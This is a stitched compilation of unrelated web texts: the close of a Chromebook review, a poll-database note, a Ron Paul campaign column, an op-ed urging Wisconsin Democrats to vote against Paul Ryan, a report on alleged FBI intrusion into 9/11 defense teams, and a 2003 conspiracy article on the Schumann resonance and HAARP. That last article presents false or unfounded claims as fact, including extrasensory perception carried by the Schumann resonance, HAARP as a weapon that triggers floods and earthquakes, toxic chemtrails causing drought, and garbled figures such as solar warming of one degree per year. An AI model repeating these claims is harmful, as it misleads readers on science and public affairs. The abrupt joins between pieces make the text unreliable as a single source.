I would definitely also like to see adoptable storage for ChromeOS, the 16GB most Chromebooks have today is pretty limited when considering there’s ChromeOS, Android and all related apps from both platforms taking up space. What remains isn’t significant.
Conclusion
For a development build I really can’t knock what Google have shipped here. The speed and simplicity far surpass my expectations and the ability to access the Android system settings directly is a nice touch that retains a level of user control.
With this new feature I truly now believe Chromebooks are finally usable for the many who have held out due to limited functionality; before the announcement of the Play Store I would have never even considered getting another Chromebook (I’ve used a few over the years, never for very long), yet for the price and now the capabilities offered, it’s a steal.
In order to provide transparent analysis you can view our entire database of polls used in our calculations. The poll database is updated each day with the most current polls from a variety of sources. Our current collection is largely concentrated with Democratic Nomination and Presidential Election polls but there is still a decent collection of Republican Nomination Polls. The projection methodology for poll weight and selection depends on the election.
For the Democratic Nomination there is no vote count provided for Iowa, Nevada, Washington, Maine so the percent of delegates garnered is used in place. Only vote totals provided by either the races secretary of state or the races own Democratic Party are considered. A -1 denotes unpublished official vote data. The National race uses the projected delegate values based on polls for each race, not the projected values based on national polls alone.
This state/territory does not have a Gubernatorial Election in 2009.
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The NBC show will star Sterling K. Brown and will be based on Irving’s memoir, The Reaper: Autobiography of One of the Deadliest Special Ops Sniper.
“I’m excited to tell stories from real-life prophets, whom through their struggles have changed the world for the better, and others whose stories are filled with fantasy and delight,” Jay Z said about the partnership with the studio. “Harvey and David are visionaries, both of whom have done this time and time again. I’m already passionate about what we currently have in the pipeline, and I’m looking forward to discovering others.”
Rep. Ron Paul’s campaign conceded Tuesday it probably cannot win enough delegates to be the Republican presidential nominee, though it said it still will try to play a major role at August’s convention in shaping the GOP’s rules and platform going forward. A day after the Texas congressman told supporters he is scaling down his campaign and won’t actively compete for votes in the 11 states still to hold primaries, his campaign said Mr. Paul still will try to maximize the number of actual supporters he has going to the convention — even though in many cases they may not be able to vote for him to be the nominee over front-runner Mitt Romney. “Several hundred will be bound to Dr. Paul, and several hundred more, although bound to Governor Romney or other candidates, will be Ron Paul supporters,” said Jesse Benton, Mr. Paul’s chief strategist, in a memo describing the state of the race. “Unfortunately, barring something very unforeseen, our delegate total will not be strong enough to win the nomination. Governor Romney is now within 200 delegates of securing the party’s nod. However, our delegates can still make a major impact at the national convention and beyond,” Mr. Benton said.
Politico reports that the campaign wants to get more control over its supporters, seeing a series of incidents in state conventions as embarrassing and potentially harmful to their long-term plans:
In the past few days alone, several incidents cast the campaign in an unfavorable light: Mitt Romney’s son Josh was booed off the stage by Paul backers in Arizona on Saturday, and Romney surrogates Tim Pawlenty and Gov. Mary Fallin received similarly rude treatment in Oklahoma. They were the latest in a string of recent disruptions from Maine to Alaska that threatened to tarnish Paul’s legacy and marginalize the ideas he believes will one day dominate the Republican Party. “It concerns him,” campaign chairman Jesse Benton told POLITICO. “He wants to convey to everybody and our staff want to convey that we’ll lose more than we gain if we go and we’re disrespectful. Respect and decorum are very important to Dr. Paul.” “You need to give respect to get respect,” he added. “We are confident that there will be mutual respect at the convention. We want to make sure that we take every step we can to make sure that happens.” Paul will retire from the House at the end of this year, and his son, Kentucky Sen. Rand Paul, is widely expected to run for president in 2016 as a Republican. Against that backdrop, the Paul high command worries about Pyrrhic victories: hostile takeovers at state conventions that win hordes of delegates but generate a backlash that could hurt the younger Paul in four years and prevent up-and-coming libertarians from obtaining positions of leadership in local parties.
In fact, that has been the goal all along. While Paul’s rank-and-file supporters wanted to believe that he could win the nomination, especially at a brokered convention, that has always been an unrealistic expectation — and nothing indicates that the Paul campaign believed it. Their focus on caucus states hints at a much different, longer-term strategy, as does their qualified exit from the remaining primaries. As I explain in my column today for The Week, the timing has nothing to do with supposedly avoiding embarrassing losses in upcoming states, but is an indication that Paul has already succeeded:
The real story comes from the event types still left in the nomination process. All eleven contests are primaries, all but one binding on delegates. Paul cannot compete with Romney in primaries, and hasn’t bothered to even put up a fight in primaries for months. The last state with at least part of its delegate allocations from caucusing was Indiana, an event that took place last Tuesday, where Romney cleaned up. The last non-binding event takes place this week in Nebraska. After that, every state will hold binding primaries, and Paul will have no hope of winning delegates in any of them. Why waste money on a dry well? … So what is the real endgame? Some wonder whether Paul wants to stage a demonstration at the Republican convention, which he adamantly denied last week. Rumors have also circulated that Paul would flex his muscle to get the rules changed and unbind all delegates at the convention, but he doesn’t have that kind of muscle, and it wouldn’t result in a Paul nomination even if he did. Paul’s delegates will have an impact on the party platform, which most believe is the object of Paul’s strategy, but party platforms don’t really have that much practical impact. Few people read them, and even fewer candidates feel bound to them. Most people miss the fact that Paul has already achieved his end game, or is within a few weeks of its conclusion. The aim for Paul isn’t the convention, which is a mainly meaningless but entertaining exercise in American politics. The real goal was to seize control of party apparatuses in states that rely on caucuses. With that in hand, Paul’s organization can direct party funds and operations to recruit and support candidates that follow Paul’s platform, and in that way exert some influence on the national Republican Party as well, potentially for years to come. Paul hasn’t won every battle in that fight, but Minnesota will probably end up being more the rule than the exception.
Having that kind of organizational strength at the local and state level does more than just put Rand Paul in position to run in 2016 or 2020. Most of those party positions will be subject to new elections within the next two years, if not sooner at the more local levels. Paul’s supporters have to show that they will stick to their mission well enough to keep winning those elections in the precincts and Congressional districts, and then use their influence to boost candidates who follow the Paul agenda. It’s a strategy for long-term evolution rather than momentary revolution, which is why Benton wants to tamp down on disruptions that could discredit and derail the mission before they have a chance to influence Congressional and gubernatorial elections in 2014.
Don’t be surprised if Paul makes nice with Romney before the convention, either. He’s playing a longer game than anyone else thus far, and whatever one thinks of Paul’s platform, his strategy is undeniably succeeding.
Update: Here’s another data point for my argument:
A top campaign official for Ron Paul’s presidential campaign says there’s “no chance” that the Texas Republican congressman will endorse Libertarian Party nominee Gary Johnson for president over presumptive GOP nominee Mitt Romney. “No,” campaign chairman Jesse Benton said in a response to a question from The Daily Caller about whether Paul would discuss the possibility of an endorsement with Johnson during a conference call with reporters on Tuesday. “There’s no chance of that.” … While that’s good news for Romney, Benton said he does “not believe that that is likely” Paul will endorse Romney, though he kept the option open.
That's where Wisconsin Democrats come in: Wisconsin's open primary tradition means you can vote in Ryan's primary -- which gives you, through a harmonic convergence of circumstance, a strange and shocking power. With one vote you can boot the most powerful national Republican in the country, an ideological zealot who will never be dissuaded from enacting policies inimical to Democratic ideas and interests. With one vote, you can kill the pending Trans Pacific Partnership (TPP) trade deal. You can kill the GOP's longstanding plan to voucherize Medicare. Kill Ryan's scheme to pack all welfare programs into one capped stream of money and let states spend it as they wish. Kill his plans to promote guest workers and in effectively encourage more immigrants to come here and bid down wages.
Why would you not do that?
In 2014, remember, thousands of Democrats in Virginia crossed over to vote in the Republican primary against ambitious GOP rising star, Majority Leader Eric Cantor. That may have made the difference in the shocking defeat of the now ex-rising star by a little-known professor, Dave Brat.
Why not do it again?
Is the problem that Paul Ryan's a statesmanlike figure who represents the best Republicanism has to offer? Hardly. The key thing about Ryan is that he's a true believer in the unhindered market. He's certainly a true believer in free trade -- something that only 11% of his own party thinks helps boost wages, never mind Democrats (who disdain free trade by similar lopsided margins). Ryan recently told a Koch brothers gathering he'd lead the fight for expanded trade deals despite the opposition within his own party (a "progressive" tendency he vowed to "repudiate"). If Ryan returns to the House -- where he'll almost certainly remain Speaker -- he will probably try to pass the big TPP trade bill this year, and he will probably succeed.
What have free trade deals done for Wisconsin industry?
Ryan's also a principled believer in the 'free movement of people'! In other words, open borders. He can't quite come out and say it, but it's close. He's explicitly called for guest worker programs to import low-wage laborers so farmers don't have to "raise wages too much" (from about $12 an hour) for Americans who milk cows. More generally, Ryan calls for a system where "labor supply and demand can meet each other" -- translation: employers can bring in as many low-wage workers as they want. Ryan's "probably the most ideologically committed open borders person in Congress," according to Mark Krikorian of the Center for Immigration Studies.
And you know those 150 Abbott Laboratories workers near Waukegan who had to train their foreign replacements before being laid off? It all happened under the "H-1B visa program," which is supposed to bring in only foreigners who have "specialized" skills Americans lack. You can expect Ryan to do everything in his power to expand the flow of such American-replacing guest workers. And to favor the legalization of undocumented immigrants over actually securing the border against future flows of illegal workers -- which, after all, is just another word for free movement of people!
In Washington, Ryan is considered a "philosopher" because he talks about abstract theories and principles -- especially the Economics 101 theory that unlimited trade and immigration maximize overall well being. Of course, as the theorists reluctantly acknowledge if pressed, there are "winners and losers" in the process. The Winners are mainly investors (eg. the rich, and Wall Street). The Losers ... well, that's you: American workers who now have to compete with all the impoverished people on the planet. But don't worry! You see the bonanza from free trade and immigration is so great, the Winners can afford to compensate the Losers who can't find jobs. So nice of them! Of course that is only in theory,
But what Ryan really lives for, apparently, is cutting "entitlements," which means Social Security and Medicare. He's pushed to "privatize" the former and turn the latter into a voucher-style program in which people have to constantly choose (and rechoose) between competing private insurers.
Would you rather have Medicare, where you sign up and they pay the bills, or a complex scheme, very much like the troubled Obamacare "exchanges," in which you're always scrambling to avoid being gouged, always worrying that the plan you signed up for won't cover the drugs or operation you need or even be there next year?
If you don't like Medicare, by all means vote for Ryan. But if you do, you can end the Ryan threat for good -- just by exercising your Wisconsin privilege to vote in the primary you choose to vote in, and voting for Ryan's opponent, Paul Nehlen.
It'd be worth bouncing Ryan even if his opponent was a putz. So it's a bonus -- gravy -- that Nehlen, is instead an appealing fellow, a local entrepreneur who has successfully worked with union and non-union shops, and who fundamentally agrees with prevailing Democratic skepticism about big trade deals -- NAFTA and TPP etc. He favors bilateral deals in which we can instantly slap tariffs on countries that manipulate their currencies or violate labor standards. His test is whether a given deal helps average Americans -- not whether it helps Wall Street more than ithurts the 'Rust Belt'.
But if you don't like Nehlen -- if you want to instead elect one of the Democrats who are running -- fine. You can still vote for Democratic nominee in November after bouncing Ryan now. It's win-win.
OK, there is one downside. Wisconsin Democrats who vote against Ryan in Tuesday's GOP primary for Congress can't then also vote in Tuesday's Democratic primary for local offices -- county clerks and treasurers, maybe an assembly race. Especially you are a party regular, those races can be very important -- and if they're that important to you, by all means vote in the Democratic primary.
But if you're not a party regular -- if you're just a voter worried about the direction of the country -- deciding which primary to vote in should be an easy choice. Which is the bigger threat: that a zealot like Ryan will push trade and immigration deals and destroy the possibility of decent paying jobs, while making the Social Security safety net as insecure as the economy -- or that a turkey will get nominated to be Register of Deeds in Rock County?
"I think 8 games or higher is a reasonable expectation for this team" – @MJD #Rams — Brandon Bate (@NoPlanB_) August 2, 2017
Now a color analyst for the team’s radio broadcasts, he spoke yesterday about how many games the Rams can win during the upcoming season. The former UCLA star has called their games since they returned back to Los Angeles so he has a good base understanding of their potential.
During training camp reporting for NFL Media, Jones-Drew said he believes the Rams can win at least eight games — or more.
This would be a huge improvement for Los Angeles after they finished the season with just four wins last year. Recently, USA TODAY projected the Rams would once more finish the season with only four wins.
If true, the lawyers argued, attorney-client confidentiality might be compromised in the case that seeks to put on trial and execute five men accused of orchestrating the Sept. 11 attacks that killed 3,000 people in New York, Pennsylvania and at the Pentagon.
At issue, in part, was the publication in January of prison camp musings by the alleged 9/11 mastermind, Khalid Sheik Mohammed, by the Huffington Post and Britain’s Channel 4 website.
Defense lawyers alleged Monday that in at least one instance, two FBI agents enlisted a civilian on the defense team of accused plot deputy Ramzi bin al Shibh as a confidential informant.
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The FBI declined several requests for a comment.
The development seemed to stun the chief prosecutor, Army Brig. Mark Martins, who told the judge, Army Col. James L. Pohl, that he was unaware of the FBI activity. Martins urged the judge to at least temporarily ignore the issue and proceed with a scheduled competency hearing.
“This was thrown in our lap … by the United States government,” said attorney Jim Harrington, bin al Shibh’s death-penalty lawyer. “They’re the ones that did this, not us, and we tried to bring it to your attention as fast as we could.”
Harrington said two FBI agents arrived at the home of his team’s Defense Security Officer, asked him who gave news outlets the unclassified Mohammed writings and had him sign a non-disclosure agreement that appeared to draw him into a continuing informant relationship.
The agents also asked “open-ended questions” probing for evidence of wrongdoing by 9/11 defense lawyers, said Harrington. He chose not to name his team member, who was being suspended from the case for talking, but said he worked for the contractor SRA International.
Now, the defense lawyers said, they had to ask each of their team members if they had been similarly interviewed by FBI agents and told to keep it secret. Harrington added that Pohl needs to conduct a separate inquiry on whether an FBI probe of defense lawyers had a “chilling effect” on their obligations to zealously defend their clients.
The role of Defense Security Officers in the 9/11 case, one assigned to each of the five legal teams, is designed in part to guide team members, both lawyers and analysts, on what information should be blacked out in court filings — and what information can be released as unclassified. They have Top Secret security clearances and are privy to internal defense discussions and strategy.
Attorneys and observers had gathered at Guantánamo over the weekend for a hearing on whether bin al Shibh was mentally competent to face the death penalty trial. Neither prosecutors nor defense lawyers had argued he was not fit for trial but the prosecution sought the inquiry after the Yemeni had repeatedly disrupted the last hearing, in December, with complaints of sleep deprivation tactics at his secret prison camp.
The competency hearing never happened. Instead, the prosecution sought a closed hearing on the competency question with just the judge, excluding the defense. The defense asked the judge to abate the proceedings and order his own investigation of whether the FBI had breached attorney-client confidentiality.
Pohl agreed to meet unilaterally with prosecutors on a competency hearing question and resume open court Tuesday.
Details were still scant but contained in an emergency defense motion filed Sunday at 10 p.m., according to Martins. The document was still under seal at the war court under a procedure that gives U.S. intelligence agencies up to 15 business days to vet it.
But one section disclosed to the Miami Herald accused the prosecution of compromising the defense teams.
“Apparently as part of its litigation strategy,” it said, “the government has created what appears to be a confidential informant relationship with a member of Mr. bin al Shibh’s defense team, and interrogated him about the activities of all defense teams.
“The implications of this intrusion into the defense camp are staggering. The most immediate implication, however, is that all defense teams have a potential conflict of interest between their loyalty to their clients and their interest in demonstrating their innocence to FBI investigators.”
In court, defense lawyers told Pohl that the breach merited an independent inquiry — and that the five 9/11 accused needed additional, separate counsel not currently assigned to the case to advise them.
The hearings are being held at Guantánamo under a security framework that shields most information about the CIA prisons where the five men were held and interrogated before they got to the U.S. Navy base in southeast Cuba in 2006.
Only officers of the court with Top Secret security clearances specific to the Sept. 11 case are allowed to meet with the 9/11 accused. It typically takes months to get a clearance, meaning more hearing delays — if the judge agrees the accused now needs additional lawyers to advise them on the privilege issue.
An Amnesty International observer questioned who in U.S. government the judge could task to unpack the problem.
“They have to have a full investigation and find out how far it has gone. And the defendants have to have an independent counsel,” said Anne Fitzgerald, director of the research and crisis response program for Amnesty International. “But so many branches of the government have compromised themselves that it’s hard to know who’s left to conduct an independent investigation.”
Martins urged the judge to set aside the conflict question for a scheduled hearing on whether bin al Shibh is mentally fit to go on trial with Mohammed and three other Guantánamo captives accused of conspiring with al-Qaida and the 19 Sept. 11 hijackers to commit the mass murder.
If Pohl takes up the issue it would be the latest allegation of U.S. government monitoring of the relationship between the 9/11 accused and defense lawyers who have access to government secrets on condition they not disclose them.
Past hearings demonstrated that agents had planted listening devices in the rooms where the lawyers meet prisoners and that someone outside Pohl’s court could mute the audio feed to the public. Pohl had the external audio kill-switch disconnected and the military, which argued it had never listened in on attorney-client meetings, removed the meeting room listening devices.
A Pentagon spokesman had no immediate comment on the allegation of FBI intrusion.
But Army Lt. Col. Todd Breasseale, the spokesman, noted that the prosecution had not characterized as “a leak” the disclosure of the document Huffington Post called Mohammed’s manifesto. Rather, in a separate emergency motion filed by the prosecution March 3, Martins’ team was simply asking the judge to inquire “into the procedures by which the information was made available.”
It appears that Mohammed’s musings, called “Invitation to Happiness,” have been in circulation for some time. Several Sept. 11 case defense attorneys said Monday that it had never been classified, was not part of the war court record and that Mohammed’s Marine lawyer last year distributed cleared copies widely to both the 12-member prosecution team as well as all the defense attorneys.
Why?
http://www.nwbotanicals.org/oak/newphysics/schuclimate.htm
Prepared for Nexus Magazine in Mar-Apr, 2003 OUR CLIMATE: DEAD OR ALIVE?
Schumann’s Resonances and Vision 2020
Organization for the Advancement of Knowledge, 2003
We are proposing, along with Pitkanin and Sidorov, that the Schumann resonance (SR) may be the substrate for a radar-type extrasensory perception mechanism common to all living beings. Like water bouncing off of rocks and other submerged objects, this non-specific frequency is absorbed and re-radiated in unique interference patterns by all objects it encounters. This interference pattern is a composite of external and internal properties, as the constituent atoms, molecules and their global assembly all re-transmit this energy according to their specific configurations. Not only that, but the “sounding waves” can be frequency and pattern modulated by conscious intent in order to yield specific information (interference patterns). Decoded by the brain they return almost instantly on the “back” of the Schumann Resonance. Once recaptured, the patterns are then decoded by the brain. In this Fourier-type transformation the information is translated into conscious data, much like other sensory processing. Conversely, specific effects may be imprinted as bioinformation and made to exercise a "mysterious action at a distance", once the signal wave reaches the target. That pattern, in turn, may, under the right ("pre-requisite") global conditions, avoid routine dissipation and become instead coupled to the dominating ("state-of-consciousness") standing wave that is picked up and carried by the Schumann resonance. Mental intent may function as a variable window of transmission/reception in the exchange of extrasensory information. Tuned into the Schumann resonance, it may carry such bio-regulating information to distant targets and act as a primitive, radar-type sensory interface. All these and more mechanisms depend on the SR frequencies staying within their median range.
TERROR IN THE IONOSPHERE? The rhythm of life has evolved at an even tempo for epochs. We live in a complex matrix of oscillating fields; the tiniest fluctuations in one interlocked field carry over perturbations into others. Many times per second, pulses travel completely around the world between our planet's surface and the ionosphere sending coordinating signals to all organisms. These signals couple us to the global electrostatic field. Named for their discoverer, the Schumann Resonance (SR) provides an orchestrating pulse for life on our planet. We all march to the cadence of this cosmic drummer -- our planetary heartbeat, which sets the tempo for health and well-being. Damaging this planetary pacemaker could spell doom for life as we know it. In the name of progress and defense, this pacemaker is now threatened, while vast amounts of public money are spent on this atmospheric exploitation. Even more tax funds are allocated to implement the ill-conceived "Star Wars" missile defense by the year 2020, and the already-operational energy beam Project HAARP, (High Frequency Active Auroral Research Program) operating in Gakona, Alaska. This environmental rhythm -- the fundamental driving system for all life on our small blue planet -- is jeopardized by human manipulations of the ionosphere, such as HAARP. Some physicists have gone so far as to identify the upper atmosphere as essentially “alive,” transmitting a type of consciousness to all living things. It is dangerous to fool with Mother Nature as the results of ozone depletion and other ecological calamities have shown. Tampering could destroy this system, essentially leaving it -- and ourselves -- dead. It might be easy to see that such survival risks don't balance alleged benefits, but targeted research on potential problem areas has been virtually non-existent.
“What is clear is that part of the money voted to Bush’s Star Wars plan will be used for research into space-based lasers,” the Independent reported. “These, we are told, will be used to shoot down the missiles fired in anger by ‘rogue states.’ But they will, inevitably, evolve into weapons aimed at America’s enemies from space. U.S. Space Command doesn’t even bother to hide this fact. The most chilling illustration in Vision 2020 is of such a space-based laser firing a beam of energy at the earth.” What the Russians are worried about (as they’re trying to explain in badly translated prose from Moscow’s Interfax News Agency) are U.S. plans to begin large-scale scientific experiments using the Alaska-based HAARP in 2003. Ninety Russian deputies signed the appeal against the HAARP program, charging that the experiments “would create weapons capable of breaking radio communication lines and equipment installed on spaceships and rockets, provoke serious accidents in electricity networks and in oil and gas pipelines and have a negative impact on the mental health of people populating entire regions.” (Fitrakis, 2002)
The ionosphere shields us from deadly radiation from the sun and deep space. Holes are now being routinely punched in this insulating blanket by high-frequency radio waves, and may accidentally tear open the fragile cocoon of human and planetary evolution. Dire consequences could be as devastating as the failure of an individual's pacemaker. The forces of chaos could be let loose, doing irreversible damage. The Strategic Defense Initiative (SDI) puts this technology for environmental modification in the hands of the military command – a frightening prospect. Because of national security mandates, we can’t be sure just what they are doing with it, and conjecture is running rampant. Hopefully, it can be disclosed before it is too late for all of us. PERTURBING THE CLIMATE To really comprehend just how delicately balanced our fragile planet is we need to consider the astrophysics converging on our region of space. We have to look into deep time and space. Then it becomes easier to see how the slightest perturbations to our atmosphere can cause dramatic rifts in the course of our geophysical destiny. Many complex forces are already impacting the Earth, particularly our global weather patterns. Looking at the broadest scale, there is a galactic ice age threat from supernovas, whose cosmic rays create clouds when they hit our atmosphere, cooling it. Also, the solar system is passing through the densest portion of the Milk Way Galaxy, a roughly 30-million-year cycle. This dense molecular cloud and fluctuating galactic tidal forces of distant matter can destabilize comets in the Oort cloud and send them hurtling toward the planets and sun. This rain of small comets called impact surges, (2/3 from disk tides and 1/3 from distant matter tides), is influential in the pulsing and advancing of ice sheets over millennia and implicated in mass extinctions. It affects the oceanic heat pump (with a rain of fresh water) that acts as a global ocean conveyor. This salt pump moves warm water into northern climes, like the eastern seaboard and Europe, keeping them habitable, while cooling the tropics. Its collapse would mean that warm, salty Gulf Stream water would no longer move north, facilitating another Ice Age. The motor of evolution is not natural selection, but climate and ice. Ice sheets have pulsed 30 times in the last 2 ½ million years since the Isthmus of Panama formed blocking tropical circulation between Pacific and Atlantic. This diverted warm water north, where it began falling as snow and built into glaciers. These glaciers ebb and flow depending on the wobble of the Earth. Dryness created by these glacial cycles forced the African tropical rain forests to die back, creating savannahs, and our progenitors left the forest and modern humans, reliant on intelligence for survival, emerged. Intelligence and versatility became our hallmarks because we had to learn to survive in volatile climates. Its only been about 1000 generations since the ice age in Europe, when human population was incredibly low. All research indicates Earth’s climate system has sensitive thresholds, which crossed would push the system from one stable operating mode into another. Oceanic systems control weather on land, as El Nino has shown. It is also revealed in deep-sea sediments, ice-core sheets and the fossil record. They all show the conveyor has shut down in the past. It has been called the “Achilles heel” of our climatic system. The pump is in decline according to researchers and could signal an abrupt and dramatic shift. A paper in Nature in 2002 showed the deep current is freshening by as much as 20%; this is NOT a good sign. Melting glaciers could hasten the process. Fossil evidence demonstrates collapse can happen within a decade and persist for centuries. This new paradigm of rapid climate change is now broadly accepted worldwide. Such triggers can create spikes of around 10 degrees C. in about a decade, followed by plateaus of about 20 years, then dramatic cooling of around 20 degrees C in around 2 decades. In the last 8-10,000 years, these pulsations have been milder, but solar instability, axis tilt, and current declines could precipitate their return. So could human tampering with the weather through energy beam technology and weaponry. A rise in temperature of only 3-4 degrees C. could trigger a rise in sea level of 20 meters within one decade! Further warming and ice melt creates a cycle where temperatures could spike 8-10 Degrees C. in 30 years. Then ocean currents would shift and new heat/cold patterns emerge. New shallow seas would decrease land mass; agricultural plains would be flooded, diminishing food-growing areas further. Roughly, 30-40 percent of the land would be lost and mankind would be displaced from inundated valleys on all continents. Trade, commerce, and industrial production would be flooded out. In 2003, the EPA predicted a rise of 3-9 degrees F. over the next hundred years. Tropical oceans have warmed 1.8-2.6 F. over the past 100 years, and glaciers are melting worldwide. Research has also suggested that the sun itself has been in a heating cycle and may be a significant component in global warming, (1 degree F. per year since 1880). Limited results suggested the sun produced .05% more radiation per decade since the late ‘70s. The sun’s alleged increasing output means stronger solar winds sweeping across the upper atmosphere, exciting and ionizing it with charged particles. Roughly half the global warming in the last century can be attributed to the sun. The hotter it burns, the more cosmic rays it deflects. Sustained over decades it could lead to dramatic climate fluctuation, as in the historical past.
“Examinations of ancient tree rings and other data show temperatures declined starting in the 13th Century, bottomed out at 2 degrees below the long-term average during the 17th Century, and did not climb back to previous levels until the late 19th Century. Separate records of sunspots, auroral activity (the Northern Lights) and terrestrial deposits of certain substances generated in atmospheric reactions triggered by solar output, suggest the Sun was persistently active prior to the onset of this Little Ice Age, as scientists call the event. Solar activity was lowest during the 17th Century, when Earth was most frigid.” (Britt, 2003).
The output of the sun fluctuates in an 11 year cycle, which had two peaks in 2000 and 2002. Solar minimum is about three years away. These changes in the solar cycle cause short-term changes on Earth. At solar maximum, as much as 2% increase in clouds over the US has been reported. When bombarded with maximum solar output, the temperature of the thin upper atmosphere doubles. It swells and puffs up further into space, up to and beyond the orbit of the International Space Station. It can even increase drag on the ship that needs frequent boosts from space shuttles to maintain its momentum. Recently it has become easier and more accurate to measure solar activity outside of Earth’s atmosphere. We now measure total solar energy, at all wavelengths, with the resultant figure called Total Solar Irradiance (TSI). The jury is out on whether current indications of increases are a long-term trend or brief aberration.
“The new study shows that the TSI has increased by about 0.1 percent over 24 years. That is not enough to cause notable climate change, Willson and his colleagues say, unless the rate of change were maintained for a century or more. On time scales as short as several days, the TSI can vary by 0.2 percent due to the number and size of sunspots crossing the face of the Sun. That shift, said to be insignificant to weather, is however equal to the total amount of energy used by humans, globally, for a year, the researchers estimate. The study analyzed data from six satellites orbiting Earth at different times over the 24 years. Willson ferreted out errors in one of the datasets that had prevented previous studies from discovering the trend. “A separate recent study of Sun-induced magnetic activity near Earth, going back to 1868, provides compelling evidence that the Sun's current increase in output goes back more than a century, Willson said.” (Britt, 2003).
Further perturbing, much less tearing holes in a super-heated ionosphere can create catastrophic weather changes. These can potentially be triggered by the military under the Strategic Defense Initiative (SDI) to destabilize whole areas with climatic manipulation, without the risks of conventional warfare. Deploying this weaponry for economic and strategic purposes could collapse ecological systems, and disrupt agricultural production dramatically. The Department of Defense has, of course, already implemented the development of intelligence and weather monitoring systems related to this program. NASA and DOD are working on multimedia imagery reports for massive ecological changes, using data relayed from satellites. Latest speculation has also tried to link appearance of mysterious chemtrails to the deployment of HAARP technology. Some think that the reflective qualities of these clouds influence atmospheric heating and weather patterns. Reported analyses of the "angel-hair" taken from the atmosphere after a day of spraying claim a variety of toxins. Viral bacteria, toxic molds, carbon black and E.D.B.M. (ethylene di-bromide: highly carcinogenic chemical additive for fuel banned about twenty years ago) have been identified. Speculation about these sprayed grids includes increasing reflectivity in certain layers of the atmosphere. These sprayings are also responsible for a massive decrease in the production of negative ions by the forests. This is eventually deadly for all biological life. Further, explanation of the serious and widespread drought conditions are directly related to the fact that the highly toxic and moisture absorbing (up to seven times it's own weight) Barium salt has also been detected in high quantities in the atmosphere right after a spraying event. These sprayings may therefore be linked to H.A.A.R.P and its "weather engineering" capabilities. ARCO Petroleum owns the patents on this Tesla technology. It appears that ARCO was directly funding "H.A.A.R.P." as reported a number of years ago. Many research groups have shown that we are being constantly showered with ELF's (Extremely Low Frequencies) as electronic “smog”. ELF's can be deadly to any biological life form as they alter the normal frequency of that life form causing serious illness, including irrational thought, inability to concentrate, chronic fatigue and/or death. Interfering with this delicately balanced dynamic system could induce a catastrophic collapse, much like an avalanche. Therefore, the potentials from so-called "ionospheric heaters" are truly frightening, for we have no idea what possibilities can emerge from long-term meddling with the sensitive balance of the ionosphere and global temperature, which is also linked to the world-wide oceanic pumping system whose source lies off Greenland. As if the weather isn't disrupted enough from other human pollution, tampering with beam energy devices compounds the problem much further. The UN is sponsoring continued debates on climate change, greenhouse gases, and “non-lethal weapons,” which can be deployed by at least the Americans and Russians. “Weather war” means triggering atmospheric disturbances with ELF radar waves. Through electronic weaponry, the US wants to “own the weather” and the space platform for military superiority, tailoring natural patterns, and dominating global communications.
“Recent scientific evidence suggests that HAARP is fully operational and has the ability of potentially triggering floods, droughts, hurricanes and earthquakes. From a military standpoint, HAARP is a weapon of mass destruction. Potentially, it constitutes an instrument of conquest capable of selectively destabilizing agricultural and ecological systems of entire regions. While there is no evidence that this deadly technology has been used, surely the United Nations should be addressing the issue of "environmental warfare" alongside the debate on the climatic impacts of greenhouse gases. . .Dr. Rosalie Bertell confirms that "US military scientists ... are working on weather systems as a potential weapon. The methods include the enhancing of storms and the diverting of vapor rivers in the Earth's atmosphere to produce targeted droughts or floods.” Already in the 1970s, former National Security advisor Zbigniew Brzezinski had foreseen in his book "Between Two Ages" that: "Technology will make available, to the leaders of major nations, techniques for conducting secret warfare, of which only a bare minimum of the security forces need be appraised.” Marc Filterman, a former French military officer, outlines several types of "unconventional weapons" using radio frequencies. He refers to "weather war," indicating that the U.S. and the Soviet Union had already "mastered the know-how needed to unleash sudden climate changes (hurricanes, drought) in the early 1980s.” (Michel Chossudovsky, 2000)
There are smaller systems at Arecibo, Puerto Rico; Fairbanks Alaska; Tromso, Norway, Moscow, Nizhny Novgorod and Apatity, Russia; Kharkov, Ukraine and Dushanbe, Tadzhikstan, and possibly in Israel.
“HAARP has been presented to public opinion as a program of scientific and academic research. US military documents seem to suggest, however, that HAARP's main objective is to "exploit the ionosphere for Department of Defense purposes." Without explicitly referring to the HAARP program, a US Air Force study points to the use of "induced ionospheric modifications" as a means of altering weather patterns as well as disrupting enemy communications and radar. According to Dr. Rosalie Bertell, HAARP is part of a integrated weapons' system, which has potentially devastating environmental consequences: "It is related to fifty years of intensive and increasingly destructive programs to understand and control the upper atmosphere. . . The ability of the HAARP / Spacelab/ rocket combination to deliver a very large amount of energy, comparable to a nuclear bomb, anywhere on earth via laser and particle beams, are frightening. The project is likely to be "sold" to the public as a space shield against incoming weapons, or, for the more gullible, a device for repairing the ozone layer. In addition to weather manipulation, HAARP has a number of related uses: "HAARP could contribute to climate change by intensively bombarding the atmosphere with high-frequency rays... Returning low-frequency waves at high intensity could also affect people's brains, and effects on tectonic movements cannot be ruled out.” (Michel Chossudovsky, 2000)
International concerns over HAARP and sister projects deploying similar energy beams have continued unabated for over a decade. The most recent developments and proposals are not encouraging:
"The U.S. military's Joint Vision 2020 report shamelessly documents its desire to establish “full spectrum dominance” over the Earth. “U.S. Space Command confirmed that Vision 2020 was its current policy, but a spokesman said it was in the process of being updated,” Britain’s Independent newspaper reported a year ago. The Independent article’s thesis was obvious—the United States is becoming a “rogue” state isolated from its Western European allies. “What is clear is that part of the money voted to Bush’s Star Wars plan will be used for research into space-based lasers,” the Independent reported. “These, we are told, will be used to shoot down the missiles fired in anger by ‘rogue states.’ But they will, inevitably, evolve into weapons aimed at America’s enemies from space. U.S. Space Command doesn’t even bother to hide this fact. The most chilling illustration in Vision 2020 is of such a space-based laser firing a beam of energy at the earth.” Earlier this year, U.S. Representative Dennis Kucinich told Alive that Vision 2020 is already an ongoing military program to experiment with directed energy. On November 9 last year, Carol R. Schuster, director for defense capabilities and management of the General Accounting Office (GAO), briefed the Democratic minority members of the House Armed Services Committee on Joint Vision 2020. Schuster explained, “Joint Vision 2020 also emphasizes the importance of experimentation to identify innovations in warfighting.” (MC)
A task force of DOD, U.S. Joint Forces Command, and the Joint Chiefs of Staff continues to investigate and impliment means of deploying electronic weaponry capable of destroying any opposition by 2020.
